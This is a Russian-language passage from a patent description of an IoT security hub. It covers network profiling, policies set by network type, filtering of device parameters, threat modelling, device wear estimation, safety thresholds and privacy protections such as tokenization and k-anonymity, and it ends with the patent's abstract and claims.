Например, исходя из статистики по всем доступным профилям сети, известно, что в 20% процентах всех сетей имеется хотя бы один робот-пылесос, который был подключен к хабу в течении первой недели. Кроме того, с вероятностью 40% в течении месяца к хабу подключается агрегатор для умных лампочек. Используя данную информацию, можно прогнозировать появление новых IoT-устройств в каждой сети по мере времени ее жизни. Это позволяет:
• заранее загружать политики настройки устройств, которые еще не появились, но с большой вероятностью появятся в ближайшее время;
• заранее загружать анализаторы трафика для устройств, которые еще не появились, но с большой вероятностью появятся в ближайшее время;
• дополнительно загружать новые прошивки для устройств;
• предлагать пользователю использовать те устройства, которые имеют больший класс информационной защиты;
• предлагать пользователю те устройства, которые удовлетворяют заданному им уровню безопасности.
Профили сети можно сравнивать между собой - сравнение можно производить как через выделение изменений в файлах (англ. diff), так и используя сравнения сверток профилей сети, а также используя сравнение энтропии данных, описывающих профили.
Свертка профиля сети создается одним из нескольких способов:
• хеширование каждого поля профиля;
• хеширование всех полей профиля как единого целого (путем конкатенации);
• использование гибких или нечетких сверток (англ. fuzzy hash).
Используя методы кластеризации дополнительно строится один (или несколько - если центроидов кластеров будет выделено больше одного) усредненный профиль сети, который является центром кластера (центроид). Усредненный профиль сети включает наиболее популярные (часто встречающиеся) IoT-устройства. В еще одном варианте реализации усредненный профиль включает устройства, для которых максимально время использования, помноженное на количество устройств. В таком случае в профиль попадают устройства, которые не так часто встречаются, но работают дольше.
Сравнение профиля сети с усредненным профилем дополнительно позволяет оценить, какой сеть станет через некоторый промежуток времени (например, через полгода). Например, при первом включении хаба 310 он определил только один робот-пылесос в качестве IoT-устройства, но загрузив информацию об усредненном профиле сети с сервиса безопасности 1010 и сравнив эти два профиля, хаб 310 загружает политики настройки устройств, которые еще не появились, но с большой вероятностью появятся в ближайшее время (например, это будут умные лампочки и метеостанция, умный холодильник, игровая приставка, телевизор и холодильник), анализаторы трафика для новых устройств (если необходимо), обновление прошивок.
Настройка устройства в зависимости от типа сети
Построение профиля сети также позволяет определить, какие устройства взаимодействуют с хабом 310 и понять, какой это тип сети (устройств). Примеры типов сетей приведены ниже.
• Домашний (домашняя сеть). Преобладают устройства, которые предназначены для использования в домах, а именно - освещение, клининг, фильтрация воздуха, носимые устройства.
• Общественный. Устройства используются в общественных местах, такие как парки, скверы и другие зоны, которые посещают большое количество человек.
• Индустриальный. Преобладают различные датчики и промышленные контроллеры, имеющие высокие требования к безопасности.
• Транспорт. В качестве датчиков выступают блоки управления машины (англ. ECU).
• Медицинский. IoT-устройствами являются различные датчики жизнеобеспечения пациентов, также имеющие очень высокие требования к безопасности.
Определение типа сети реализуется на основании данных об устройствах сети. Сетью является набор связанных в рамках одной сетевой инфраструктуры устройств, которые контролируются одним или несколькими хабами 310. Сетевая инфраструктура включает одну или несколько сетей (включая подсети).
Например, хаб 310 определил следующие IoT-устройства:
• умный пылесос Xiaomi Roborock Vaccum Cleaner,
• ряд лампочек Philips Hue,
• хаб LightwaveRF.
Тогда такая сеть является домашней (домашний тип).
Для индустриальной сети хаб 310 определил следующие IoT-устройства:
• преобразователи давления Danfoss 060G1100,
• термостатические клапаны Danfoss AVTA 25 003N0032,
• температурные сенсоры MBT 400 084N1025.
Для медицинской сети хаб 310 определил следующие IoT-устройства:
• температурный сенсор MAX30205,
• оксигемометр MAX30101.
Для каждого IoT-устройства используется дополнительная характеристика, которая определяет, в сетях какого типа используются данные IoT-устройства. Данные характеристики могут быть загружены с сервиса безопасности 1010 при запросе с хаба 310. В одном из вариантов реализации характеристика использования в сетях определяется на основании популярности использования IoT-устройства в определенных сетях.
Например, если известно, что определенный сенсор используется в 94% случаев в домашних сетях, в 5% случаев используется в общественных сетях и лишь в 1% случаев используется в индустриальных сетях, то такой сенсор будет определен как используемый в домашних сетях.
В еще одном варианте реализации тип сети определяется на основании используемых настроек (политик) безопасности. Например, пользователь, который заботиться об информационной безопасности, может использовать датчики промышленного типа и настраивать сеть таким образом, что такая сеть уже считается не домашней, а индустриальной, и работа с ней ведется на основании соответствующих алгоритмов (например, требования к криптостойкости алгоритмов совершенно другие).
Большая часть сетей на практике является сетями смешанного типа - в одной и той же сети встречаются IoT-устройства, которые встречаются как в типичных домашних сетях, так и в индустриальных, медицинских или общественных. Это связано с различными аспектами: доступностью устройств на рынке, их стоимостью, функционалом и другими характеристиками.
В одном из вариантов реализации пользователь (администратор) задает окончательный тип сети через веб-интерфейс хаба 310.
В другом варианте реализации тип сети определяется с помощью правил. Примерами правил могут быть:
ЕСЛИ
(Количество IoT-устройств, используемых в индустриальных сетях) > 5
ИЛИ
(Процент IoT-устройств, используемых в индустриальных сетях) > 15%
ТО
Сеть - индустриальная
В зависимости от типа сети хаб 310 применяет различные политики для IoT-устройств при их настройке и управлении. Для таких типов сетей, как индустриальная или транспортная, требуется более строгое соблюдение стандартов информационной безопасности. Например, для умного замка, который обычно устанавливается в сети с типом домашняя, при установке в сеть, которая была определена как индустриальная, потребуется:
• использовать ключ шифрования длиной не менее 512 бит;
• использовать более криптостойкий алгоритм шифрования чем AES;
• блокировать с помощью хаба 310 отправку любого трафика на все сервера, которые не входят в список разрешенных (англ. whitelist).
Для умных выключателей в таком случае также потребуется проводить контроль трафика с помощью хаба 310 при их установке в индустриальную сеть, чтобы избежать replay-атак. Кроме того, хаб 310 ведет список разрешенных устройств, откуда могут отправляться команды на умные выключатели.
В одном из вариантов реализации хаб 310 может устанавливать смешанный тип сети. То есть применять правила для двух и более вышеописанных типов сетей. В случае, если правила переопределяют друг друга, хаб 310 выбирает правило, безопасность которого выше.
Фиг. 16 показывает настройку устройств в зависимости от типа сети. На этапе 1610 собирают данные об устройствах с помощью хаба, при этом устройства подключены к хабу. На этапе 1620 определяют тип сети с помощью сервиса безопасности, куда отправляют информацию об определенных устройствах. В других вариантах реализации определение происходит на стороне хаба 310. На этапе 1630 определяют политики для настройки устройств в зависимости от определенной сети. На этапе 1640 применяют политики с помощью хаба 310 для контроля устройств.
Изменение сетевых пакетов для контроля устройства
Хаб 310 работает как сетевой экран для контроля сетевых пакетов, которые передаются на IoT-устройство 110 для изменения его параметров.
Анализируемые параметры:
• тип протокола (например, SMB или HTTPS);
• сетевой адрес или доменное имя;
• номер порта;
• IPv4/IPv6;
• идентификатор устройства от/к которому направлен трафик;
• указание на приложение, которое осуществляет сетевой обмен.
На параметры можно накладывать регулярные выражения, что позволяет работать с диапазонами сетевых адресов и/или приложениями и устройствами.
Фиг. 11 иллюстрирует создание и использование правил для IoT-устройств. При первом обнаружении и идентификации IoT-устройства 110 на этапе 1110 хаб 310 делает запрос по его метаданным (например, данным о производителе, идентификаторе, номере серии и т.д.) на сторону облачного сервиса безопасности 1010 (например, Kaspersky Security Network), где содержится информация о поддерживаемых протоколах, и которые будут загружены на этапе 1120 на хаб 310.
Например, для лампочки Hue Light Bulb известно, что передача и настройка параметров осуществляется с помощью GET/PUT запросов по HTTP-протоколу. Таким образом, при обнаружении подобного устройства на хаб 310 будет загружен модуль для анализа HTTP-протокола на этапе 1130. Анализ протоколов верхнего уровня соответствует седьмому уровню модели OSI (англ. Application level). Затем для данного модуля будут загружены правила, которые определяют разбор параметров именно для серии данных устройств.
После загрузки правил разбора параметров могут быть созданы правила для контроля IoT-устройства (его параметров) на этапе 1140. В одном из вариантов реализации это делает пользователь, который таким образом задает необходимый диапазон параметров IoT-устройства. Однако не все параметры могут поддерживаться в текущей версии протокола или устройства, часть параметров не может быть изменена по соображениям безопасности или в рамках самого дизайна устройств. Таким образом, более предпочтительным вариантом является автоматическая фильтрация параметров.
В одном из вариантов реализации все параметры IoT-устройства 110 делятся на изменяемые и неизменяемые, что позволяет либо изменять, либо отбрасывать все сетевые пакеты для изменения неизменяемых параметров.
Другой вариант реализации описывает диапазоны, в рамках которых могут быть изменены параметры IoT-устройства.
Например, для Hue Light Bulb будут разрешены только следующие параметры:
On - true / false
Sat - от 0 до 255
Bri - от 0 до 255
Hue - от 0 до 10000
PUT запрос для изменения этих параметров в указанных пределах будет корректно передан на IoT-устройство типа Hue Light Bulb.
Моделирование угроз
Имея построенный профиль сети и профили устройств, а также возможность прогнозирования появления новых устройств в сети, хаб 310 имеет возможность проводить моделирование угроз и использования возможных уязвимостей в будущем.
Каждое IoT-устройство можно протестировать на предмет известных атак, например проверка использования паролей по умолчанию (и слабых паролей из таблиц), фаззинг и другие варианты исследования. Так как обычно исследовать подобные IoT-устройства нельзя у самих пользователей, то следует это делать в рамках инфраструктуры компании-поставщика услуг информационной безопасности. Например, можно покупать наиболее популярные модели IoT-устройств (данные об этом могут быть получены из усредненного профиля сети) и исследовать их на уязвимости или возможные атаки.
Для моделирования угроз, а также моделирования возможной сети из IoT-устройств можно использовать такие модели как STRIDE1 (1https://en.wikipedia.org/wiki/STRIDE_(security) или P.A.S.T.A.2 (2https://threatmodeler.com/threat-modeling-methodologies-overview-for-your-business/).
Для STRIDE используются следующие методы анализа:
• спуфинг (англ. Spoofing) - использование других аутентификационных данных;
• фальсификация (англ. Tampering) - фальсификация данных или команд;
• отрицание (англ. Repudiation) - невозможность проверки целостности данных или данных производителя;
• раскрытие данных (англ. Information disclosure) - раскрытие персональных данных;
• отказ в обслуживании (англ. Denial of service) - отказ в обслуживании оборудования;
• повышение привилегий (англ. Elevation of privilege) - повышение прав доступа.
Подобные методы можно использовать по отношению к различным данным, связанным с IoT-устройствами, а именно:
• прошивки,
• приложение на смартфоне,
• приложение в облачном сервисе,
• сертификаты и ключи шифрования,
• журналы,
• аутентификационные данные,
• данные, загруженные в памяти,
• трафик.
Например, для умных замков каналами для атаки могут выступать: трафик между смартфоном и облачным сервисом 130, трафик между смартфоном и самим замком. Приложение на смартфоне может хранить личную информацию пользователей в незашифрованном виде. Спуфинг облачной платформы 130 может привести к тому, что пользователь не сможет использовать корректно свое приложение на смартфоне для настройки умного замка. Перехват данных, передаваемых между смартфоном и умным замком, а также платформой 130 с дальнейшим спуфингом, может привести к отказу в обслуживании. Кроме того, приложение на смартфоне может иметь уязвимости и другие критические ошибки, которые могут приводить к некорректному взаимодействию с умным замком, а также платформой 130.
Примером атаки на промышленные контроллеры является постоянный флуд командами, содержащими сфальсифицированные данные, например в формате протокола MODBUS. Подобные атаки могут возникать в случае проникновения злоумышленников в сеть и дальнейшей рассылки злоумышленниками упомянутых данных, что зачастую приводит к отказу оборудования. При моделировании угроз хаб 310 сам может посылать подобные пакеты и анализировать состяние IoT-устройств.
В одном из вариантов реализации хаб 310 также анализирует, из какого сегмента сети приходят данные на IoT-устройство. В еще одном из вариантов реализации хаб 310 анализирует, как долго устройство, с которого отправляются данные на IoT-устройство, находится в сети. Так, например, могут игнорироваться пакеты данных с устройств, которые зарегистрированы в сети менее 10 минут. При моделировании угроз хаб 310 может создавать модели поведения устройств и использовать их при дальнейшем функционировании.
Оценка износа
Одним из немаловажных факторов работы IoT-устройств для безопасности человеческой жизнедеятельности является оценка износа самих устройств для определения гарантированного срока службы этих устройств в зависимости от условий среды и характеристик самих устройств.
Для каждого IoT-устройства дополнительно собираются и используются следующие данные:
• Время работы, расписание работы, параметры (в том числе и ожидаемые), информация об ошибках.
• Доступные данные об условиях эксплуатации. Сюда входит информация о температуре окружающей среды (например, воздушной, если датчик работает в воздушной среде), давлении, химического состава среды (например, pH).
• Известные диапазоны характеристик внешней среды для корректной работы устройств.
• Гарантийный срок службы при работе в указанных диапазонах.
• Среднее время работы до отказа (больше гарантированного срока службы).
• Данные фактического пребывания устройства функционирующим (наработка на отказ).
•Коэффициент критичности устройства для жизнедеятельности человека.
Например, для термостатического клапана AVTA 25 003N0032 указан температурный диапазон работы при от -130 до +25 градусов Цельсия для внешней среды. Подобная информация предоставляется самим поставщиком или может быть получена с помощью методов сбора информации (например, веб-краулинг).
Примером использования коэффициента критичности устройства для жизнедеятельности человека может являть ситуация, в которой промышленное IoT-устройство имеет пониженный коэффициент критичности устройства для жизни человека, а IoT-устройство в умном доме - повышенный.
Информация об условиях эксплуатации может собираться как с датчиков IoT-устройств, так и со сторонних датчиков, которые установлены рядом. Например, температурный датчик, расположенный рядом с водным клапаном, будет сообщать о температуре окружающего воздуха.
Еще один источник информации об оценке износа устройств - это информация о том, как часто меняют сами устройства. Данную информацию можно отследить с помощью хаба 310 в тот момент, когда одно из IoT-устройств заменяют на аналогичное по функциональности, - хаб 310 сохраняет информацию о том, сколько времени прошлое устройство было зарегистрировано в сети. Подобная информация может быть передана на сторону сервиса безопасности 1010, где будет вычислено среднее время работы определенного IoT-устройства. Кроме того, подобную информацию может предоставлять и провайдер (поставщик) самих IoT-устройств.
Еще один вариант получения информации об износе устройств - перехват трафика от IoT-устройства к приложению 140 в облачном сервисе 130, куда отправляется информация об ошибках и неисправностях. При анализе протокола передачи данных можно отслеживать частоту появления ошибок при работе IoT-устройств для оценки степени износа устройства.
Другой вариант получения информации о вышедшем из строя устройстве - сам пользователь, который отмечает устройство через веб-интерфейс хаба 310 как неисправное. Хаб 310 учитывает данную информацию для подсчета времени работы этого устройства в сети.
Полученная информация также используется для оценки степени износа, которая представляет собой численное значение в заданном диапазоне, где одна граница диапазона соответствует тому, что устройство гарантированно сохранит работоспособность в течение заданного промежутка времени, а другая - тому, что устройство гарантированно выйдет из строя в течение заданного промежутка времени.
Вся вышеперечисленная информация используется для построения модели износа устройства. Модель износа реализуется в виде обученного алгоритма машинного обучения, например случайного леса, искусственной нейросети, метода опорных векторов, совокупности правил определения степени износа. Обученная модель в дальнейшем используется для:
• рекомендаций по замене конкретных IoT-устройств, чей срок службы подходит к окончанию согласно модели;
• изменения политик настройки IoT-устройств, исходя из безопасности человеческой жизнедеятельности;
• изменения политик настройки IoT-устройств, исходя из продления срока службы (эксплуатации).
В качестве рекомендаций выступает отчет, который содержит статистические данные об изменении параметров работы устройства с течением времени, КПД устройства, расход энергии при работе устройства, производительность устройства.
Например, хаб 310 определяет, что одно из IoT-устройств - датчик протечки - близко к своему износу, и частота ошибок о работе автоматического переключения крана постоянно возрастает (это свидетельствует о необходимости прочистки крана и/или замены датчиков). Хаб 310 изменяет политику контроля данного устройства:
• включаются принудительные регулярные отправки сообщений пользователю об износе устройства,
• изменяются настройки работы устройства с целью продлить функционал его работы до замены,
• производят замену указанного устройства на схожее устройство из пула устройств, где схожим устройством является устройство, обладающее функционалом, необходимым для выполнения задач, выполняемых указанным устройством (в случае, если пул устройств содержит по меньшей мере два устройства, схожих с указанным устройством, пользователя информируют о наличии схожих устройств с целью осуществления выбора схожего устройства для замены указанного устройства),
• может быть запущен механизм профилактической проверки устройства.
Саму модель износа предварительно обучают на данных по работе схожих с указанным устройств. Если устройство вышло из строя, переобучают модель износа таким образом, чтобы определенная заново с помощью указанной модели степень износа устройства наиболее близко соответствовала реальной.
Фиг. 17 отображает использование модели для оценки степени износа устройств. На этапе 1710 хаб 310 определяет IoT-устройства в сети с помощью описанных ранее методик обнаружения. На этапе 1720 происходит сбор данных по работе устройства для оценки его износа. В качестве данных выступают сообщения об ошибках, неисправностях в работе узлов и другие важные сообщения, которые могут служить информацией о возможном выходе устройства из строя. Кроме того, хаб 310 ведет подсчет времени функционирования устройства в сети. Дополнительный этап 1730 позволяет собирать информацию о работе аналогичных устройств. Это помогает для оценки износа новых, только вышедших моделей, о которых еще не собрано достаточно статистики, - в таком случае знание о степени износа прежних моделей может быть использовано для оценки износа будущих. Все данные с хаба 310 могут агрегироваться в сервисе безопасности 1010.
На этапах 1720 и 1730 дополнительно собирается информация об условиях эксплуатации как с датчиков самих IoT-устройств, так и со сторонних датчиков, которые установлены рядом.
На этапе 1740 строится модель работы устройства с учетом степени его износа (предпочтительный вариант - на стороне сервиса безопасности 1010). Модель представляется в виде обученного алгоритма машинного обучения, например случайного леса, искусственной нейросети, метода опорных векторов. Модель описывает известное поведение устройства на основании входных параметров, связанных с профилем (например, сетевая активность). На выходе модели используются данные об ошибках и времени их появления. Используя подобную модель можно предсказывать возможные ошибки в работе устройств и на основании этих ошибок предсказывать степень износа. Степень износа может быть выражена в виде битового флага (исправно/неисправно) или же иметь шкалу, например от 0 до 100. На этапе 1750 используют полученную модель для оценки степени износа устройства. Также в зависимости от степени износа определяются дальнейшие действия -информировать пользователя, отключить устройство, снизить время его работы (изменение политик настройки).
Например, в течение месяца ряд хабов 310 собрали информацию о работе умных лампочек определенной модели, в том числе и данные об ошибках при их использовании, а также доступную информацию об условиях их эксплуатации. Собранные данные будут использованы на стороне сервиса безопасности 1010 для построения модели для оценки степени износа устройств. Созданная модель будет загружена на все хабы 310, где зарегистрированы похожие (аналогичные) устройства.
Дополнительно хаб 310 изменяет настройки работы IoT-устройств 110 с помощью команд при известном протоколе передачи данных.
Защита безопасности человеческой жизнедеятельности
Хаб 310 может накладывать ограничения на параметры IoT-устройств 110, которые могут быть изменены с помощью ряда команд, например через приложение 1020 или приложение 140.
Для контроля параметров требуется знание протоколов, по которым передаются параметры. Для Hue Light Bulb используется HTTP-протокол, где через PUT-запрос изменяются параметры лампочки, как например:
В описанном выше запросе пользователь запретил удаленное включение данной лампочки или изменение ее яркости.
Таким образом, будет создано правило, которое будет разрешать отправку таких PUT-запросов только с определенного MAC-адреса устройства пользователя или же отбрасывать PUT-запросы, которые изменяют параметры состояния (state).
Пользователь может задавать правила фильтрации на хабе 310 в человекочитаемом виде, например в виде утверждения “для всех термостатов температура должна лежать в пределах от 20 до 26 градусов”, что позволит конвертировать данное утверждение в набор сетевых правил, которые будут относится ко всем устройствам домена функциональности “Фильтрация и очистка воздуха” и их параметрам, связанным с температурой.
Кроме того, хаб 310 может содержать базовые настройки (параметры), оптимальные для обеспечения жизнедеятельности человека. Например, в случае наличия датчика освещенности устанавливать максимальный и минимальный пороги освещенности. В случае наличия датчика температуры устанавливать максимальный и минимальный пороги температуры. В одном из вариантов реализации хаб 310 не позволяет включать лампы слишком ярко или слишком тускло, а также не позволяет, например, системе кондиционирования выходить за пороговые значения. В другом варианте реализации при выходе за пороговые значения хаб 310 высылает нотификации пользователю.
В одном из вариантов реализации хаб 310 учитывает временной интервал (время года, месяц года) для управления настройками (параметрами). Например, летом используются одни пороговые значения в настройках для температуры, зимой - другие. В другом варианте реализации хаб 310 учитывает время суток для управления настройками. Так, например, в дневное время для датчика освещения используются одни параметры (доступен один интервал яркости освещения), в ночное время - другие. В еще одном из вариантов реализации хаб 310 учитывает условия окружающей, в которых используются датчики. Например, если датчик освещенности расположен на террасе (вне здания), то используются одни параметры, если внутри здания - другие. В одном из вариантов реализации хаб 310 учитывает условия, кем используется IoT-устройство. Например, хаб 310 не позволяет нагревателю воды во взрослом санузле нагревать воду выше 60 градусов по шкале Цельсия, а в детском санузле - выше 45 градусов по Цельсию.
Privacy аспект
Есть ряд IoT-устройств, которые могут собирать информацию о сне пользователя (Beddit Sleep Monitor), поведении детей (например, ряд современных игрушек может записывать геотеги, записи голоса и другую информацию), выполнении физических упражнений (спортивные трекеры), медицинской информацию и даже информацию о сексуальных привычках.
Например, изучая трафик монитора сна, можно определить, когда пользователь спит, потому что паттерны трафика будут отличаться от того времени, когда пользователь бодрствует (и отсутствует в комнате). Также можно определить паттерн поведения пользователя по умным замкам, которые отправляют служебный трафик во время прохода пользователя через дверь.
Можно привести пример, когда данные, собранные с помощью современных игрушек, оснащенных функционалом записи разговоров, оказались в свободном доступе, и база данных MongoDB была обнаружена с помощью системы Shodan1 (1https://www.vice.com/en_us/article/pgwean/internet-of-things-teddy-bear-leaked-2-million-parent-and-kids-message-recordings).
Вариант утечки данных - через поддельное (англ. rogue) устройство. Само IoT-устройство, которое может быть зарегистрировано в сети через отдельный веб-сервер, может быть как реальным, так и виртуальным. Подобное устройство может собирать данные как о сети, к которой оно присоединено, так и об устройствах поблизости, когда они рассылают широковещательные запросы. Более продвинутый вариант прослушивания включает отдельное устройство со множеством интерфейсов, основная цель которого - прослушивание трафика. Однако чаще всего злоумышленники пользуются уже существующими устройствами, используя уязвимости для установления доступа, а также добавляя бекдоры (англ. backdoor) для дальнейшего использования устройств, к которым был получен доступ.
Еще один вариант атаки относится к атаке на процессы машинного обучения, связанных с IoT-устройствами, - это подача неправильных данных при обучении. Например, злоумышленник может намеренно добавлять в поток данных определенные искажения, которые приведут к неправильному обучению модели.
Для противодействия атакам на трафик можно использовать метод ILP shaping (independent link padding). Еще одним вариантом защиты является использование VPN. Изменение трафика уменьшает его энтропию и позволяет бороться с атаками на личные данные. На Фиг. 18 отображен пример изменения (шейпинга) трафика с целью сгладить пики, которые могут указывать на определенные действия пользователя.
Например, Xiaomi ClearGrass Air Detector определяет качество воздуха и дополнительно отправляет эти данные на один из серверов по протоколу MQTT. В качестве одного из вариантов можно прописать правило в iptables на перенаправление этого трафика (например, на тот же localhost) или через сетевой экран на хабе 310 просто блокировать этот трафик.
Пользователю можно предложить вариант отслеживания утечки личных данных с указанием распределения ресурсов по миру (через позиционирование серверов), чтобы пользователь мог определить куда можно отправлять его данные. Например, пользователь из России может решить не отправлять данные по телеметрии в Китай или США и запретить отправку данных на сервера из этих регионов. Для пользователей из ЕС можно использовать автоматическое правило, которое будет запрещать отправку любых данных за пределы сетевых ресурсов, находящихся в ЕС, что согласуется с нормативами GDPR.
Другой вариант заключается в загрузке на хаб 310 списка политик (правил) для контроля утечки личной информации. Набор правил включает:
• список разрешенных/запрещенных IP-адресов или сетей;
• разрешенные к использованию протоколы передачи данных для данного региона и/или пользователя;
• список устройств, для которых требуется отдельная обработка трафика;
• список полей (атрибутов) данных, для которых требуется отдельная обработка (генерализация, запрет, токенизация и другие варианты).
Варианты соглашения с отправкой данных можно реализовать на стороне хаба 310, который будет через отдельный интерфейс предлагать пользователям варианты обеспечения Privacy через контроль отправляемых данных. Варианты:
• Opt-In
• Opt-Out
Варианты сокрытия данных могут включать генерализацию данных (англ. generalization), когда данные одного пользователя изменяются таким образом, чтобы его нельзя было отличить от группы пользователей (как правило, привязанных к определенной группе, например возрастной или по месту проживания). Еще один вариант включает запрет на передачу определенных данных (англ. suppression). Подобные подходы входят в рамки метода k-анонимности. Примером реализации является следующий подход:
• вместо точного возраста указывается возрастная группа, например от 20 до 30 лет;
• имя удаляется;
• география проживания может быть укрупнена со штата/провинции до целого государства или образования (например, ЕС).
I-разнесение (англ. I-diversity) является расширением k-анонимности, позволяя отслеживать гомогенность данных. T-близость (англ. T-closeness) представляет дальнейшее усовершенствование i-разнесения, учитывая распределение величин.
Дополнительно для сохранения конфиденциальности указанные методы можно применять не только к данным пользователей, но и к самим IoT-устройствам. Например, для средств телеметрии можно передавать не уникальные идентификаторы самих устройств, а некоторый сгенерированный идентификатор.
Фиг. 12 отображает схему шифрования и токенизации данных пользователей, передаваемых с IoT-устройств. Если IoT-устройство 110 поддерживает один из протоколов шифрования (например, через HTTPS или DTLS), то соединение устанавливается с хабом 310, который выступает как прокси-сервер. Передаваемые данные расшифровываются и подвергаются токенизации в том случае, если протокол поддерживается хабом 310. Токенизация представляет собой процесс замены конфиденциального элемента данных на неконфиденциальный эквивалент, называемый токеном, который не имеет самостоятельного смысла/значения для внешнего или внутреннего использования. Токенизации подвергаются все идентификаторы, например которые идентифицируют пользователя или его устройство (IoT-устройство 110). Кроме токенизации часть данных подвергается генерализации, например геометки.
Затем данные передаются по зашифрованному каналу на сторону облачного сервиса 130 приложению безопасности 330, которое может восстановить через процесс обратной замены часть данных, которые были подвергнуты токенизации и которые необходимы для корректной работы приложения 140. Таким образом, пользователь сможет использовать приложение 140 так же, как если бы его данные не были токенизированы, но при этом достигается защита конфиденциальности при передаче данных.
Для дополнительной защиты личных данных пользователя предусмотрена схема шифрования и токенизации данных, которые IoT-устройства 110 передают на сторону платформы 130 (приложениям 140).
Фиг. 19 отображает применение политик обработки личных данных. На этапе 1910 происходит анализ протокола передачи данных между IoT-устройством 110 и хабом 310. На этапе 1920 происходит выделение полей, которые могут содержать личные данные. Обработка основана на использовании правил, которые могут быть реализованы в виде регулярных выражений. Затем на этапе 1930 происходит анализ каждого поля с точки зрения настроек (политик) обработки личных данных, которые были загружены на конкретный хаб 310. Например, в зависимости от страны это будут разные настройки. После этого на этапе 1940 на стороне хаба происходит обработка указанного поля (запрет на передачу, токенизация, генерализация и другие методы).
Фиг. 20 представляет пример компьютерной системы общего назначения, персональный компьютер или сервер 20, содержащий центральный процессор 21, системную память 22 и системную шину 23, которая содержит разные системные компоненты, в том числе память, связанную с центральным процессором 21. Системная шина 23 реализована, как любая известная из уровня техники шинная структура, содержащая в свою очередь память шины или контроллер памяти шины, периферийную шину и локальную шину, которая способна взаимодействовать с любой другой шинной архитектурой. Системная память содержит постоянное запоминающее устройство (ПЗУ) 24, память с произвольным доступом (ОЗУ) 25. Основная система ввода/вывода (BIOS) 26, содержит основные процедуры, которые обеспечивают передачу информации между элементами персонального компьютера 20, например, в момент загрузки операционной системы с использованием ПЗУ 24.
Персональный компьютер 20 в свою очередь содержит жесткий диск 27 для чтения и записи данных, привод магнитных дисков 28 для чтения и записи на сменные магнитные диски 29 и оптический привод 30 для чтения и записи на сменные оптические диски 31, такие как CD-ROM, DVD-ROM и иные оптические носители информации. Жесткий диск 27, привод магнитных дисков 28, оптический привод 30 соединены с системной шиной 23 через интерфейс жесткого диска 32, интерфейс магнитных дисков 33 и интерфейс оптического привода 34 соответственно. Приводы и соответствующие компьютерные носители информации представляют собой энергонезависимые средства хранения компьютерных инструкций, структур данных, программных модулей и прочих данных персонального компьютера 20.
Настоящее описание раскрывает реализацию системы, которая использует жесткий диск 27, сменный магнитный диск 29 и сменный оптический диск 31, но следует понимать, что возможно применение иных типов компьютерных носителей информации 56, которые способны хранить данные в доступной для чтения компьютером форме (твердотельные накопители, флеш карты памяти, цифровые диски, память с произвольным доступом (ОЗУ) и т.п.), которые подключены к системной шине 23 через контроллер 55.
Компьютер 20 имеет файловую систему 36, где хранится записанная операционная система 35, а также дополнительные программные приложения 37, другие программные модули 38 и данные программ 39. Пользователь имеет возможность вводить команды и информацию в персональный компьютер 20 посредством устройств ввода (клавиатуры 40, манипулятора «мышь» 42). Могут использоваться другие устройства ввода (не отображены): микрофон, джойстик, игровая консоль, сканнер и т.п. Подобные устройства ввода по своему обычаю подключают к компьютерной системе 20 через последовательный порт 46, который в свою очередь подсоединен к системной шине, но могут быть подключены иным способом, например, при помощи параллельного порта, игрового порта или универсальной последовательной шины (USB). Монитор 47 или иной тип устройства отображения также подсоединен к системной шине 23 через интерфейс, такой как видеоадаптер 48. В дополнение к монитору 47, персональный компьютер может быть оснащен другими периферийными устройствами вывода (не отображены), например, колонками, принтером и т.п.
Персональный компьютер 20 способен работать в сетевом окружении, при этом используется сетевое соединение с другим или несколькими удаленными компьютерами 49. Удаленный компьютер (или компьютеры) 49 являются такими же персональными компьютерами или серверами, которые имеют большинство или все упомянутые элементы, отмеченные ранее при описании существа персонального компьютера 20, представленного на Фиг. 20. В вычислительной сети могут присутствовать также и другие устройства, например, маршрутизаторы, сетевые станции, пиринговые устройства или иные сетевые узлы.
Сетевые соединения могут образовывать локальную вычислительную сеть (LAN) 50 и глобальную вычислительную сеть (WAN). Такие сети применяются в корпоративных компьютерных сетях, внутренних сетях компаний и, как правило, имеют доступ к сети Интернет. В LAN- или WAN-сетях персональный компьютер 20 подключен к локальной сети 50 через сетевой адаптер или сетевой интерфейс 51. При использовании сетей персональный компьютер 20 может использовать модем 54 или иные средства обеспечения связи с глобальной вычислительной сетью, такой как Интернет. Модем 54, который является внутренним или внешним устройством, подключен к системной шине 23 посредством последовательного порта 46. Следует уточнить, что сетевые соединения являются лишь примерными и не обязаны отображать точную конфигурацию сети, т.е. в действительности существуют иные способы установления соединения техническими средствами связи одного компьютера с другим.
В заключение следует отметить, что приведенные в описании сведения являются примерами, которые не ограничивают объем настоящего изобретения, определенного формулой.
| название | год | авторы | номер документа |
|---|---|---|---|
| Способ настройки IoT-устройств в зависимости от типа сети | 2021 |
|
RU2760625C1 |
| Способ использования модели IoT-устройства для определения аномалий в работе устройства | 2021 |
|
RU2772072C1 |
| Способ управления IoT-устройством со стороны элемента сетевой инфраструктуры | 2021 |
|
RU2769632C1 |
| Способ создания и применения правила взаимодействия приложений на IoT-устройстве | 2021 |
|
RU2757651C1 |
| Способ оценки степени износа IoT-устройства со стороны элемента сетевой инфраструктуры | 2021 |
|
RU2772377C1 |
| Способ создания и обновления профиля сети, содержащей IoT-устройства | 2021 |
|
RU2767713C1 |
| Система и способ обеспечения безопасности IoT-устройств посредством шлюза | 2022 |
|
RU2786201C1 |
| Система и способ обеспечения безопасности IoT-устройств посредством установки компонентов обеспечения безопасности | 2022 |
|
RU2798178C1 |
| Способ устранения уязвимостей устройств, имеющих выход в Интернет | 2016 |
|
RU2636700C1 |
| Способ устранения уязвимостей роутера | 2016 |
|
RU2614559C1 |
Изобретение относится к вычислительной технике. Технический результат заключается в обеспечении применения политик обработки личных данных для умного устройства. Способ применения политик обработки личных данных для умного устройства (далее - устройство) со стороны элемента сетевой инфраструктуры (далее - хаб), содержит этапы, на которых: анализируют протокол передачи данных между устройством и хабом; выделяют по меньшей мере одно поле данных, которое содержит личные данные; анализируют выделенное поле с использованием политик обработки личных данных, загруженных на хаб; применяют политику по результатам анализа. 1 з.п. ф-лы, 20 ил., 4 табл.
1. Способ применения политик обработки личных данных для умного устройства (далее - устройство) со стороны элемента сетевой инфраструктуры (далее - хаб), способ содержит этапы:
а. анализируют протокол передачи данных между устройством и хабом;
б. выделяют по меньшей мере одно поле данных, которое содержит личные данные;
в. анализируют выделенное поле с использованием политик обработки личных данных, загруженных на хаб;
г. применяют политику по результатам анализа, при этом политика включает:
• список разрешенных и запрещенных IP-адресов;
• разрешенные к использованию протоколы передачи данных для данного региона и пользователя.
2. Способ по п. 1, в котором применение политики заключается в одном из: запрета передачи указанного поля данных, токенизации, генерализации.
